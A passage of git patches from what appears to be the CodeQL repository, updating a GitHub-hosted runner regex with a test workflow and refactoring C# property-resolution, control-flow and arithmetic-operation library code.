Date: Fri, 12 Jun 2026 07:50:02 +0000 Subject: [PATCH 084/143] Updated regex. Added test and change note. --- actions/ql/lib/change-notes/2026-06-12.md | 4 ++ .../actions/security/SelfHostedQuery.qll | 10 +++-- .../CWE-284/.github/workflows/test3.yml | 43 +++++++++++++++++++ 3 files changed, 53 insertions(+), 4 deletions(-) create mode 100644 actions/ql/lib/change-notes/2026-06-12.md create mode 100644 actions/ql/test/query-tests/Security/CWE-284/.github/workflows/test3.yml diff --git a/actions/ql/lib/change-notes/2026-06-12.md b/actions/ql/lib/change-notes/2026-06-12.md new file mode 100644 index 00000000000..8fbf902b6ee --- /dev/null +++ b/actions/ql/lib/change-notes/2026-06-12.md @@ -0,0 +1,4 @@ +--- +category: fix +--- +* The query `actions/pr-on-self-hosted-runner` was updated to the latest standard runner labels reducing false positive results. \ No newline at end of file diff --git a/actions/ql/lib/codeql/actions/security/SelfHostedQuery.qll b/actions/ql/lib/codeql/actions/security/SelfHostedQuery.qll index bb4437d803e..3a65771c174 100644 --- a/actions/ql/lib/codeql/actions/security/SelfHostedQuery.qll +++ b/actions/ql/lib/codeql/actions/security/SelfHostedQuery.qll @@ -2,10 +2,12 @@ import actions bindingset[runner] predicate isGithubHostedRunner(string runner) { - // list of github hosted repos: https://github.com/actions/runner-images/blob/main/README.md#available-images - runner - .toLowerCase() - .regexpMatch("^(ubuntu-([0-9.]+|latest)(-arm)?|macos-([0-9]+|latest)(-x?large|-intel)?|windows-([0-9.]+|latest)(-arm|-vs[0-9.]+)?)$") + // The list of github hosted repos: + // https://github.com/actions/runner-images/blob/main/README.md#available-images + // https://docs.github.com/en/enterprise-cloud@latest/actions/how-tos/write-workflows/choose-where-workflows-run/choose-the-runner-for-a-job#standard-github-hosted-runners-for-public-repositories + runner.toLowerCase().regexpMatch("^ubuntu-([0-9.]+|latest|slim)(-arm)?$") or + runner.toLowerCase().regexpMatch("^macos-([0-9]+|latest)(-x?large|-intel)?$") or + runner.toLowerCase().regexpMatch("^windows-([0-9.]+|latest)(-vs[0-9.]+)?(-arm)?$") } bindingset[runner] diff --git a/actions/ql/test/query-tests/Security/CWE-284/.github/workflows/test3.yml b/actions/ql/test/query-tests/Security/CWE-284/.github/workflows/test3.yml new file mode 100644 index 00000000000..b1fe9fa0caa --- /dev/null +++ b/actions/ql/test/query-tests/Security/CWE-284/.github/workflows/test3.yml @@ -0,0 +1,43 @@ +name: test + +on: + pull_request: + +jobs: + test: + strategy: + fail-fast: false + matrix: + os: + - ubuntu-latest + - ubuntu-24.04 + - ubuntu-24.04-arm + - ubuntu-22.04 + - ubuntu-22.04-arm + - ubuntu-26.04 + - ubuntu-26.04-arm + - ubuntu-slim + - macos-26 + - macos-26-xlarge + - macos-26-intel + - macos-26-large + - macos-latest-large + - macos-15-large + - macos-15 + - macos-15-intel + - macos-latest + - macos-15 + - macos-15-xlarge + - macos-14-large + - macos-14 + - macos-14-xlarge + - windows-2025-vs2026 + - windows-latest + - windows-2025 + - windows-2022 + - windows-11 + - windows-11-arm + - windows-11-vs2026-arm + runs-on: ${{ matrix.os }} + steps: + - run: cmd From bea55224731601a3b6ab8679c5c4045fbc47eed0 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Jaroslav=20Loba=C4=8Devski?= Date: Fri, 12 Jun 2026 07:52:34 +0000 Subject: [PATCH 085/143] rename change note --- .../{2026-06-12.md => 2026-06-12-self_hosted_runners.md} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename actions/ql/lib/change-notes/{2026-06-12.md => 2026-06-12-self_hosted_runners.md} (100%) diff --git a/actions/ql/lib/change-notes/2026-06-12.md b/actions/ql/lib/change-notes/2026-06-12-self_hosted_runners.md similarity index 100% rename from actions/ql/lib/change-notes/2026-06-12.md rename to actions/ql/lib/change-notes/2026-06-12-self_hosted_runners.md From 01b463f4423058e8ab3df5c649f717bcf7c276a3 Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Thu, 21 May 2026 16:17:18 +0200 Subject: [PATCH 086/143] C#: Exclude function pointer calls for the DB isNotOk missing target. --- csharp/ql/src/Telemetry/DatabaseQuality.qll | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/csharp/ql/src/Telemetry/DatabaseQuality.qll b/csharp/ql/src/Telemetry/DatabaseQuality.qll index ad7ac682bf5..a26993905de 100644 --- a/csharp/ql/src/Telemetry/DatabaseQuality.qll +++ b/csharp/ql/src/Telemetry/DatabaseQuality.qll @@ -63,7 +63,7 @@ module CallTargetStats implements StatsSig { additional predicate isNotOkCall(Call c) { not exists(c.getTarget()) and - not c instanceof DelegateCall and + not c instanceof DelegateLikeCall and not c instanceof DynamicExpr and not isNoSetterPropertyCallInConstructor(c) and not isNoSetterPropertyInitialization(c) and From d8e10b8c21601e83632c8805a1672497ca8c4e6f Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Thu, 21 May 2026 16:24:05 +0200 Subject: [PATCH 087/143] C#: Add some more properties test examples and update expected test output. --- .../properties/PrintAst.expected | 66 +++++++++++++++++++ .../properties/Properties17.expected | 1 + .../properties/Properties19.expected | 3 + .../library-tests/properties/properties.cs | 33 ++++++++++ 4 files changed, 103 insertions(+) diff --git a/csharp/ql/test/library-tests/properties/PrintAst.expected b/csharp/ql/test/library-tests/properties/PrintAst.expected index ef482ed33d0..d07cc484c71 100644 --- a/csharp/ql/test/library-tests/properties/PrintAst.expected +++ b/csharp/ql/test/library-tests/properties/PrintAst.expected @@ -293,3 +293,69 @@ properties.cs: # 160| 0: [LocalVariableAccess] access to local variable x # 160| 1: [PropertyCall] access to property Prop # 160| -1: [LocalVariableAccess] access to local variable s +# 164| 13: [Class] BaseClass +# 166| 6: [Property] Value +# 166| -1: [TypeMention] int +# 168| 3: [Getter] get_Value +# 168| 4: [BlockStmt] {...} +# 168| 0: [ReturnStmt] return ...; +# 168| 0: [FieldAccess] access to field Value.field +# 169| 4: [Setter] set_Value +#-----| 2: (Parameters) +# 169| 0: [Parameter] value +# 169| 4: [BlockStmt] {...} +# 169| 0: [ExprStmt] ...; +# 169| 0: [AssignExpr] ... = ... +# 169| 0: [FieldAccess] access to field Value.field +# 169| 1: [ParameterAccess] access to parameter value +# 166| 7: [Field] Value.field +# 173| 14: [Class] DerivedClass1 +#-----| 3: (Base types) +# 173| 0: [TypeMention] BaseClass +# 175| 6: [Property] Value +# 175| -1: [TypeMention] int +# 177| 3: [Getter] get_Value +# 177| 4: [BlockStmt] {...} +# 177| 0: [ReturnStmt] return ...; +# 177| 0: [IntLiteral] 20 +# 181| 15: [Class] DerivedClass2 +#-----| 3: (Base types) +# 181| 0: [TypeMention] BaseClass +# 183| 16: [Class] TestPartialPropertyOverride +# 185| 6: [Method] M +# 185| -1: [TypeMention] Void +# 186| 4: [BlockStmt] {...} +# 187| 0: [LocalVariableDeclStmt] ... ...; +# 187| 0: [LocalVariableDeclAndInitExpr] DerivedClass1 d1 = ... +# 187| -1: [TypeMention] DerivedClass1 +# 187| 0: [LocalVariableAccess] access to local variable d1 +# 187| 1: [ObjectCreation] object creation of type DerivedClass1 +# 187| 0: [TypeMention] DerivedClass1 +# 188| 1: [ExprStmt] ...; +# 188| 0: [AssignExpr] ... = ... +# 188| 0: [PropertyCall] access to property Value +# 188| -1: [LocalVariableAccess] access to local variable d1 +# 188| 1: [IntLiteral] 11 +# 189| 2: [LocalVariableDeclStmt] ... ...; +# 189| 0: [LocalVariableDeclAndInitExpr] Int32 test1 = ... +# 189| -1: [TypeMention] int +# 189| 0: [LocalVariableAccess] access to local variable test1 +# 189| 1: [PropertyCall] access to property Value +# 189| -1: [LocalVariableAccess] access to local variable d1 +# 191| 3: [LocalVariableDeclStmt] ... ...; +# 191| 0: [LocalVariableDeclAndInitExpr] DerivedClass2 d2 = ... +# 191| -1: [TypeMention] DerivedClass2 +# 191| 0: [LocalVariableAccess] access to local variable d2 +# 191| 1: [ObjectCreation] object creation of type DerivedClass2 +# 191| 0: [TypeMention] DerivedClass2 +# 192| 4: [ExprStmt] ...; +# 192| 0: [AssignExpr] ... = ... +# 192| 0: [PropertyCall] access to property Value +# 192| -1: [LocalVariableAccess] access to local variable d2 +# 192| 1: [IntLiteral] 12 +# 193| 5: [LocalVariableDeclStmt] ... ...; +# 193| 0: [LocalVariableDeclAndInitExpr] Int32 test2 = ... +# 193| -1: [TypeMention] int +# 193| 0: [LocalVariableAccess] access to local variable test2 +# 193| 1: [PropertyCall] access to property Value +# 193| -1: [LocalVariableAccess] access to local variable d2 diff --git a/csharp/ql/test/library-tests/properties/Properties17.expected b/csharp/ql/test/library-tests/properties/Properties17.expected index 74efae145f7..7e031d39aaf 100644 --- a/csharp/ql/test/library-tests/properties/Properties17.expected +++ b/csharp/ql/test/library-tests/properties/Properties17.expected @@ -1,4 +1,5 @@ | Prop.field | +| Value.field | | caption | | next | | x | diff --git a/csharp/ql/test/library-tests/properties/Properties19.expected b/csharp/ql/test/library-tests/properties/Properties19.expected index 7c027119067..0e5fde4be9d 100644 --- a/csharp/ql/test/library-tests/properties/Properties19.expected +++ b/csharp/ql/test/library-tests/properties/Properties19.expected @@ -6,3 +6,6 @@ | properties.cs:71:28:71:28 | Y | properties.cs:83:39:83:44 | access to property Y | properties.cs:74:13:74:15 | set_Y | | properties.cs:146:24:146:27 | Prop | properties.cs:159:13:159:18 | access to property Prop | properties.cs:148:13:148:15 | get_Prop | | properties.cs:146:24:146:27 | Prop | properties.cs:160:21:160:26 | access to property Prop | properties.cs:148:13:148:15 | get_Prop | +| properties.cs:166:28:166:32 | Value | properties.cs:192:13:192:20 | access to property Value | properties.cs:169:13:169:15 | set_Value | +| properties.cs:166:28:166:32 | Value | properties.cs:193:25:193:32 | access to property Value | properties.cs:168:13:168:15 | get_Value | +| properties.cs:175:29:175:33 | Value | properties.cs:189:25:189:32 | access to property Value | properties.cs:177:13:177:15 | get_Value | diff --git a/csharp/ql/test/library-tests/properties/properties.cs b/csharp/ql/test/library-tests/properties/properties.cs index 391245e3497..f2f72638838 100644 --- a/csharp/ql/test/library-tests/properties/properties.cs +++ b/csharp/ql/test/library-tests/properties/properties.cs @@ -160,4 +160,37 @@ namespace Properties var x = s.Prop; } } + + public class BaseClass + { + public virtual int Value + { + get { return field; } + set { field = value; } + } + } + + public class DerivedClass1 : BaseClass + { + public override int Value + { + get { return 20; } + } + } + + public class DerivedClass2 : BaseClass { } + + public class TestPartialPropertyOverride + { + public void M() + { + var d1 = new DerivedClass1(); + d1.Value = 11; + var test1 = d1.Value; + + var d2 = new DerivedClass2(); + d2.Value = 12; + var test2 = d2.Value; + } + } } From b280dd51f2b5de4e895bcd6834c0748a37fb7304 Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Thu, 21 May 2026 16:18:20 +0200 Subject: [PATCH 088/143] C#: Use the first getter/setter when calling a property (override can apply to only a getter or a setter). --- csharp/ql/lib/semmle/code/csharp/Property.qll | 28 +++++++++++++++++++ .../ql/lib/semmle/code/csharp/exprs/Call.qll | 24 +++------------- 2 files changed, 32 insertions(+), 20 deletions(-) diff --git a/csharp/ql/lib/semmle/code/csharp/Property.qll b/csharp/ql/lib/semmle/code/csharp/Property.qll index c9a338d0359..50b151694de 100644 --- a/csharp/ql/lib/semmle/code/csharp/Property.qll +++ b/csharp/ql/lib/semmle/code/csharp/Property.qll @@ -57,6 +57,34 @@ class DeclarationWithGetSetAccessors extends DeclarationWithAccessors, TopLevelE /** Gets the `set` accessor of this declaration, if any. */ Setter getSetter() { result = this.getAnAccessor() } + /** Gets the target `get` accessor of this declaration, if any. */ + private Getter getFirstGetter() { + if exists(this.getGetter()) + then result = this.getGetter() + else result = this.getOverridee().getFirstGetter() + } + + /** Gets the target accessor of this declaration when used in a read context, if any. */ + Accessor getReadTarget() { result = this.getFirstGetter() } + + /** Gets the target `set` accessor of this declaration, if any. */ + private Setter getFirstSetter() { + if exists(this.getSetter()) + then result = this.getSetter() + else result = this.getOverridee().getFirstSetter() + } + + /** Gets the target accessor of this declaration when used in a write context, if any. */ + Accessor getWriteTarget() { + result = this.getFirstSetter() + or + result = + any(Getter g | + g = this.getFirstGetter() and + g.getAnnotatedReturnType().isRef() + ) + } + override DeclarationWithGetSetAccessors getOverridee() { result = DeclarationWithAccessors.super.getOverridee() } diff --git a/csharp/ql/lib/semmle/code/csharp/exprs/Call.qll b/csharp/ql/lib/semmle/code/csharp/exprs/Call.qll index a358e73970c..941f6666b28 100644 --- a/csharp/ql/lib/semmle/code/csharp/exprs/Call.qll +++ b/csharp/ql/lib/semmle/code/csharp/exprs/Call.qll @@ -762,20 +762,12 @@ class AccessorCall extends Call, QualifiableExpr, @call_access_expr { */ class PropertyCall extends AccessorCall, PropertyAccessExpr { override Accessor getReadTarget() { - this instanceof AssignableRead and result = this.getProperty().getGetter() + this instanceof AssignableRead and result = this.getProperty().getReadTarget() } override Accessor getWriteTarget() { this instanceof AssignableWrite and - exists(Property p | p = this.getProperty() | - result = p.getSetter() - or - result = - any(Getter g | - g = p.getGetter() and - g.getAnnotatedReturnType().isRef() - ) - ) + result = this.getProperty().getWriteTarget() } override Expr getArgument(int i) { @@ -806,20 +798,12 @@ class PropertyCall extends AccessorCall, PropertyAccessExpr { */ class IndexerCall extends AccessorCall, IndexerAccessExpr { override Accessor getReadTarget() { - this instanceof AssignableRead and result = this.getIndexer().getGetter() + this instanceof AssignableRead and result = this.getIndexer().getReadTarget() } override Accessor getWriteTarget() { this instanceof AssignableWrite and - exists(Indexer i | i = this.getIndexer() | - result = i.getSetter() - or - result = - any(Getter g | - g = i.getGetter() and - g.getAnnotatedReturnType().isRef() - ) - ) + result = this.getIndexer().getWriteTarget() } override Expr getArgument(int i) { From 4f93dfbd6ad24b9a643e32b3b298dbc87498697f Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Thu, 21 May 2026 16:30:00 +0200 Subject: [PATCH 089/143] C#: Update test expected output. --- csharp/ql/test/library-tests/properties/Properties19.expected | 1 + 1 file changed, 1 insertion(+) diff --git a/csharp/ql/test/library-tests/properties/Properties19.expected b/csharp/ql/test/library-tests/properties/Properties19.expected index 0e5fde4be9d..0c2ba9c8ceb 100644 --- a/csharp/ql/test/library-tests/properties/Properties19.expected +++ b/csharp/ql/test/library-tests/properties/Properties19.expected @@ -8,4 +8,5 @@ | properties.cs:146:24:146:27 | Prop | properties.cs:160:21:160:26 | access to property Prop | properties.cs:148:13:148:15 | get_Prop | | properties.cs:166:28:166:32 | Value | properties.cs:192:13:192:20 | access to property Value | properties.cs:169:13:169:15 | set_Value | | properties.cs:166:28:166:32 | Value | properties.cs:193:25:193:32 | access to property Value | properties.cs:168:13:168:15 | get_Value | +| properties.cs:175:29:175:33 | Value | properties.cs:188:13:188:20 | access to property Value | properties.cs:169:13:169:15 | set_Value | | properties.cs:175:29:175:33 | Value | properties.cs:189:25:189:32 | access to property Value | properties.cs:177:13:177:15 | get_Value | From 0a0867a34f3546afb592867d3acfc1cbb0b8751c Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Fri, 22 May 2026 12:25:28 +0200 Subject: [PATCH 090/143] C#: Add change-note. --- .../2026-05-22-property-indexer-partial-override.md | 4 ++++ 1 file changed, 4 insertions(+) create mode 100644 csharp/ql/lib/change-notes/2026-05-22-property-indexer-partial-override.md diff --git a/csharp/ql/lib/change-notes/2026-05-22-property-indexer-partial-override.md b/csharp/ql/lib/change-notes/2026-05-22-property-indexer-partial-override.md new file mode 100644 index 00000000000..4be78a49c1f --- /dev/null +++ b/csharp/ql/lib/change-notes/2026-05-22-property-indexer-partial-override.md @@ -0,0 +1,4 @@ +--- +category: minorAnalysis +--- +* Improved property and indexer call target resolution for partially overridden properties and indexers. From f3ec7087e3e83b2849f6a2b2a8d3cac61e87f559 Mon Sep 17 00:00:00 2001 From: Anders Schack-Mulligen Date: Fri, 12 Jun 2026 10:02:48 +0200 Subject: [PATCH 091/143] Cfg: Fix type. --- .../code/csharp/controlflow/internal/ControlFlowGraph.qll | 2 +- java/ql/lib/semmle/code/java/ControlFlowGraph.qll | 2 +- shared/controlflow/codeql/controlflow/ControlFlowGraph.qll | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/csharp/ql/lib/semmle/code/csharp/controlflow/internal/ControlFlowGraph.qll b/csharp/ql/lib/semmle/code/csharp/controlflow/internal/ControlFlowGraph.qll index 0d8ced82e24..7e87fa32568 100644 --- a/csharp/ql/lib/semmle/code/csharp/controlflow/internal/ControlFlowGraph.qll +++ b/csharp/ql/lib/semmle/code/csharp/controlflow/internal/ControlFlowGraph.qll @@ -203,7 +203,7 @@ module Ast implements AstSig { final private class FinalTryStmt = CS::TryStmt; class TryStmt extends FinalTryStmt { - Stmt getBody(int index) { index = 0 and result = this.getBlock() } + AstNode getBody(int index) { index = 0 and result = this.getBlock() } CatchClause getCatch(int index) { result = this.getCatchClause(index) } diff --git a/java/ql/lib/semmle/code/java/ControlFlowGraph.qll b/java/ql/lib/semmle/code/java/ControlFlowGraph.qll index ec1ce80a9b8..d2d13a79d35 100644 --- a/java/ql/lib/semmle/code/java/ControlFlowGraph.qll +++ b/java/ql/lib/semmle/code/java/ControlFlowGraph.qll @@ -117,7 +117,7 @@ private module Ast implements AstSig { final private class FinalTryStmt = J::TryStmt; class TryStmt extends FinalTryStmt { - Stmt getBody(int index) { + AstNode getBody(int index) { result = super.getResource(index) or index = count(super.getAResource()) and diff --git a/shared/controlflow/codeql/controlflow/ControlFlowGraph.qll b/shared/controlflow/codeql/controlflow/ControlFlowGraph.qll index 4e6fd7ac2d4..2d71048d43c 100644 --- a/shared/controlflow/codeql/controlflow/ControlFlowGraph.qll +++ b/shared/controlflow/codeql/controlflow/ControlFlowGraph.qll @@ -190,7 +190,7 @@ signature module AstSig { * position `index`. In some languages, there is only ever a single body * (with `index` 0). */ - Stmt getBody(int index); + AstNode getBody(int index); /** * Gets the `catch` clause at the specified (zero-based) position `index` From eea406f62228aa7271248e5b46a5c9da046c5609 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Fri, 12 Jun 2026 10:33:37 +0200 Subject: [PATCH 092/143] Remove @RasmusWL from CODEOWNERS He hasn't worked on CodeQL for a few years now. He told me that he doesn't remember how these scripts work. --- CODEOWNERS | 4 ---- 1 file changed, 4 deletions(-) diff --git a/CODEOWNERS b/CODEOWNERS index 131fb1e767d..503410725a7 100644 --- a/CODEOWNERS +++ b/CODEOWNERS @@ -59,9 +59,5 @@ MODULE.bazel @github/codeql-ci-reviewers /.github/workflows/rust.yml @github/codeql-rust /.github/workflows/swift.yml @github/codeql-swift -# Misc -/misc/scripts/accept-expected-changes-from-ci.py @RasmusWL -/misc/scripts/generate-code-scanning-query-list.py @RasmusWL - # .devcontainer /.devcontainer/ @github/codeql-ci-reviewers From d101e45efc0ab019c358df4d48e8e6bd30ea4ef8 Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Fri, 29 May 2026 12:52:40 +0200 Subject: [PATCH 093/143] C#: Update DB scheme for arithmetic assignments and expressions (and some other minor changes). --- csharp/ql/lib/semmlecode.csharp.dbscheme | 18 ++++++++++-------- 1 file changed, 10 insertions(+), 8 deletions(-) diff --git a/csharp/ql/lib/semmlecode.csharp.dbscheme b/csharp/ql/lib/semmlecode.csharp.dbscheme index 3cabc77473c..7c7f4210399 100644 --- a/csharp/ql/lib/semmlecode.csharp.dbscheme +++ b/csharp/ql/lib/semmlecode.csharp.dbscheme @@ -1254,12 +1254,14 @@ case @expr.kind of @delegate_creation_expr = @explicit_delegate_creation_expr | @implicit_delegate_creation_expr; -@bin_arith_op_expr = @mul_expr | @div_expr | @rem_expr | @add_expr | @sub_expr; -@incr_op_expr = @pre_incr_expr | @post_incr_expr; -@decr_op_expr = @pre_decr_expr | @post_decr_expr; -@mut_op_expr = @incr_op_expr | @decr_op_expr; -@un_arith_op_expr = @plus_expr | @minus_expr | @mut_op_expr; -@arith_op_expr = @bin_arith_op_expr | @un_arith_op_expr; +@bin_arith_expr = @mul_expr | @div_expr | @rem_expr | @add_expr | @sub_expr; +@bin_arith_operation = @mul_operation | @div_operation | @rem_operation | @add_operation | @sub_operation; + +@incr_operation = @pre_incr_expr | @post_incr_expr; +@decr_operation = @pre_decr_expr | @post_decr_expr; +@mut_operation = @incr_operation | @decr_operation; +@un_arith_operation = @plus_expr | @minus_expr | @mut_operation; +@arith_operation = @bin_arith_operation | @un_arith_operation; @ternary_log_op_expr = @conditional_expr; @bin_log_op_expr = @log_and_expr | @log_or_expr | @null_coalescing_expr; @@ -1278,8 +1280,8 @@ case @expr.kind of @op_expr = @un_op | @bin_op | @ternary_op; @ternary_op = @ternary_log_op_expr; -@bin_op = @assign_expr | @bin_arith_op_expr | @bin_log_op_expr | @bin_bit_op_expr | @comp_expr; -@un_op = @un_arith_op_expr | @un_log_op_expr | @un_bit_op_expr | @sizeof_expr +@bin_op = @assign_expr | @bin_arith_operation | @bin_log_op_expr | @bin_bit_op_expr | @comp_expr; +@un_op = @un_arith_operation | @un_log_op_expr | @un_bit_op_expr | @sizeof_expr | @pointer_indirection_expr | @address_of_expr; @anonymous_function_expr = @lambda_expr | @anonymous_method_expr; From 2bbcc1e88c9f9ec6fb79ea06a03016a7496a9b9d Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Fri, 29 May 2026 13:05:07 +0200 Subject: [PATCH 094/143] C#: Update the QL library implementation for Arithmetic operations. --- .../ql/lib/semmle/code/csharp/Assignable.qll | 4 +- .../semmle/code/csharp/controlflow/Guards.qll | 29 +++-- .../semmle/code/csharp/dispatch/Dispatch.qll | 10 +- .../code/csharp/exprs/ArithmeticOperation.qll | 32 +++--- .../semmle/code/csharp/exprs/Assignment.qll | 105 ++++++++++-------- .../ql/lib/semmle/code/csharp/exprs/Call.qll | 2 +- .../semmle/code/csharp/exprs/Operation.qll | 18 ++- 7 files changed, 107 insertions(+), 93 deletions(-) diff --git a/csharp/ql/lib/semmle/code/csharp/Assignable.qll b/csharp/ql/lib/semmle/code/csharp/Assignable.qll index 7bd432d48ce..89dc594ec3f 100644 --- a/csharp/ql/lib/semmle/code/csharp/Assignable.qll +++ b/csharp/ql/lib/semmle/code/csharp/Assignable.qll @@ -290,7 +290,7 @@ module AssignableInternal { newtype TAssignableDefinition = TAssignmentDefinition(Assignment a) { not a.getLeftOperand() instanceof TupleExpr and - not a instanceof AssignCallOperation and + not a instanceof AssignCallExpr and not a instanceof AssignCoalesceExpr } or TTupleAssignmentDefinition(AssignExpr ae, Expr leaf) { tupleAssignmentDefinition(ae, leaf) } or @@ -324,7 +324,7 @@ module AssignableInternal { TAddressOfDefinition(AddressOfExpr aoe) or TPatternDefinition(TopLevelPatternDecl tlpd) or TAssignOperationDefinition(AssignOperation ao) { - ao instanceof AssignCallOperation and not ao instanceof CompoundAssignmentOperatorCall + ao instanceof AssignCallExpr and not ao instanceof CompoundAssignmentOperatorCall or ao instanceof AssignCoalesceExpr } diff --git a/csharp/ql/lib/semmle/code/csharp/controlflow/Guards.qll b/csharp/ql/lib/semmle/code/csharp/controlflow/Guards.qll index 3353866e334..e252d855da6 100644 --- a/csharp/ql/lib/semmle/code/csharp/controlflow/Guards.qll +++ b/csharp/ql/lib/semmle/code/csharp/controlflow/Guards.qll @@ -912,18 +912,17 @@ module Internal { ) or // In C#, `null + 1` has type `int?` with value `null` - exists(BinaryOperation bo, Expr o | - bo instanceof BinaryArithmeticOperation or - bo instanceof AssignArithmeticOperation - | - result = bo and - bo.getAnOperand() = e and - bo.getAnOperand() = o and - // The other operand must be provably non-null in order - // for `only if` to hold - nonNullValueImplied(o) and - e != o - ) + result = + any(BinaryArithmeticOperation bao | + exists(Expr o | + bao.getAnOperand() = e and + bao.getAnOperand() = o and + // The other operand must be provably non-null in order + // for `only if` to hold + nonNullValueImplied(o) and + e != o + ) + ) } /** @@ -934,10 +933,10 @@ module Internal { any(QualifiableExpr qe | qe.isConditional() and result = qe.getQualifier() - ) or + ) + or // In C#, `null + 1` has type `int?` with value `null` - e = any(BinaryArithmeticOperation bao | result = bao.getAnOperand()) or - e = any(AssignArithmeticOperation aao | result = aao.getAnOperand()) + e = any(BinaryArithmeticOperation bao | result = bao.getAnOperand()) } deprecated predicate isGuard(Expr e, GuardValue val) { diff --git a/csharp/ql/lib/semmle/code/csharp/dispatch/Dispatch.qll b/csharp/ql/lib/semmle/code/csharp/dispatch/Dispatch.qll index 909ba3b9d42..c5541d5a705 100644 --- a/csharp/ql/lib/semmle/code/csharp/dispatch/Dispatch.qll +++ b/csharp/ql/lib/semmle/code/csharp/dispatch/Dispatch.qll @@ -124,9 +124,7 @@ private module Internal { TDispatchDynamicOperatorCall(DynamicOperatorCall doc) or TDispatchDynamicMemberAccess(DynamicMemberAccess dma) or TDispatchDynamicElementAccess(DynamicElementAccess dea) or - TDispatchDynamicEventAccess( - AssignArithmeticOperation aao, DynamicMemberAccess dma, string name - ) { + TDispatchDynamicEventAccess(AssignArithmeticExpr aao, DynamicMemberAccess dma, string name) { isPotentialEventCall(aao, dma, name) } or TDispatchDynamicObjectCreation(DynamicObjectCreation doc) or @@ -230,7 +228,7 @@ private module Internal { * accessor. */ private predicate isPotentialEventCall( - AssignArithmeticOperation aao, DynamicMemberAccess dma, string name + AssignArithmeticExpr aao, DynamicMemberAccess dma, string name ) { aao instanceof DynamicOperatorCall and dma = aao.getLeftOperand() and @@ -1397,9 +1395,7 @@ private module Internal { private class DispatchDynamicEventAccess extends DispatchReflectionOrDynamicCall, TDispatchDynamicEventAccess { - override AssignArithmeticOperation getCall() { - this = TDispatchDynamicEventAccess(result, _, _) - } + override AssignArithmeticExpr getCall() { this = TDispatchDynamicEventAccess(result, _, _) } override string getName() { this = TDispatchDynamicEventAccess(_, _, result) } diff --git a/csharp/ql/lib/semmle/code/csharp/exprs/ArithmeticOperation.qll b/csharp/ql/lib/semmle/code/csharp/exprs/ArithmeticOperation.qll index 193c48ed3a2..efa038cc3a1 100644 --- a/csharp/ql/lib/semmle/code/csharp/exprs/ArithmeticOperation.qll +++ b/csharp/ql/lib/semmle/code/csharp/exprs/ArithmeticOperation.qll @@ -11,7 +11,7 @@ import Expr * (`UnaryArithmeticOperation`) or a binary arithmetic operation * (`BinaryArithmeticOperation`). */ -class ArithmeticOperation extends Operation, @arith_op_expr { +class ArithmeticOperation extends Operation, @arith_operation { override string getOperator() { none() } } @@ -20,7 +20,7 @@ class ArithmeticOperation extends Operation, @arith_op_expr { * (`UnaryMinusExpr`), a unary plus operation (`UnaryPlusExpr`), * or a mutator operation (`MutatorOperation`). */ -class UnaryArithmeticOperation extends ArithmeticOperation, UnaryOperation, @un_arith_op_expr { } +class UnaryArithmeticOperation extends ArithmeticOperation, UnaryOperation, @un_arith_operation { } /** * A unary minus operation, for example `-x`. @@ -44,13 +44,13 @@ class UnaryPlusExpr extends UnaryArithmeticOperation, @plus_expr { * A mutator operation. Either an increment operation (`IncrementOperation`) * or a decrement operation (`DecrementOperation`). */ -class MutatorOperation extends UnaryArithmeticOperation, @mut_op_expr { } +class MutatorOperation extends UnaryArithmeticOperation, @mut_operation { } /** * An increment operation. Either a postfix increment operation * (`PostIncrExpr`) or a prefix increment operation (`PreIncrExpr`). */ -class IncrementOperation extends MutatorOperation, @incr_op_expr { +class IncrementOperation extends MutatorOperation, @incr_operation { override string getOperator() { result = "++" } } @@ -58,7 +58,7 @@ class IncrementOperation extends MutatorOperation, @incr_op_expr { * A decrement operation. Either a postfix decrement operation * (`PostDecrExpr`) or a prefix decrement operation (`PreDecrExpr`). */ -class DecrementOperation extends MutatorOperation, @decr_op_expr { +class DecrementOperation extends MutatorOperation, @decr_operation { override string getOperator() { result = "--" } } @@ -95,19 +95,17 @@ class PostDecrExpr extends DecrementOperation, @post_decr_expr { } /** - * A binary arithmetic operation. Either an addition operation - * (`AddExpr`), a subtraction operation (`SubExpr`), a multiplication - * operation (`MulExpr`), a division operation (`DivExpr`), or a - * remainder operation (`RemExpr`). + * A binary arithmetic expression. Either an addition expression + * (`AddExpr`), a subtraction expression (`SubExpr`), a multiplication + * expression (`MulExpr`), a division expression (`DivExpr`), or a + * remainder expression (`RemExpr`). */ -class BinaryArithmeticOperation extends ArithmeticOperation, BinaryOperation, @bin_arith_op_expr { - override string getOperator() { none() } -} +class BinaryArithmeticExpr extends BinaryArithmeticOperation, @bin_arith_expr { } /** * An addition operation, for example `x + y`. */ -class AddExpr extends BinaryArithmeticOperation, AddOperation, @add_expr { +class AddExpr extends BinaryArithmeticExpr, AddOperation, @add_expr { override string getOperator() { result = "+" } override string getAPrimaryQlClass() { result = "AddExpr" } @@ -116,7 +114,7 @@ class AddExpr extends BinaryArithmeticOperation, AddOperation, @add_expr { /** * A subtraction operation, for example `x - y`. */ -class SubExpr extends BinaryArithmeticOperation, SubOperation, @sub_expr { +class SubExpr extends BinaryArithmeticExpr, SubOperation, @sub_expr { override string getOperator() { result = "-" } override string getAPrimaryQlClass() { result = "SubExpr" } @@ -125,7 +123,7 @@ class SubExpr extends BinaryArithmeticOperation, SubOperation, @sub_expr { /** * A multiplication operation, for example `x * y`. */ -class MulExpr extends BinaryArithmeticOperation, MulOperation, @mul_expr { +class MulExpr extends BinaryArithmeticExpr, MulOperation, @mul_expr { override string getOperator() { result = "*" } override string getAPrimaryQlClass() { result = "MulExpr" } @@ -134,7 +132,7 @@ class MulExpr extends BinaryArithmeticOperation, MulOperation, @mul_expr { /** * A division operation, for example `x / y`. */ -class DivExpr extends BinaryArithmeticOperation, DivOperation, @div_expr { +class DivExpr extends BinaryArithmeticExpr, DivOperation, @div_expr { override string getOperator() { result = "/" } override string getAPrimaryQlClass() { result = "DivExpr" } @@ -143,7 +141,7 @@ class DivExpr extends 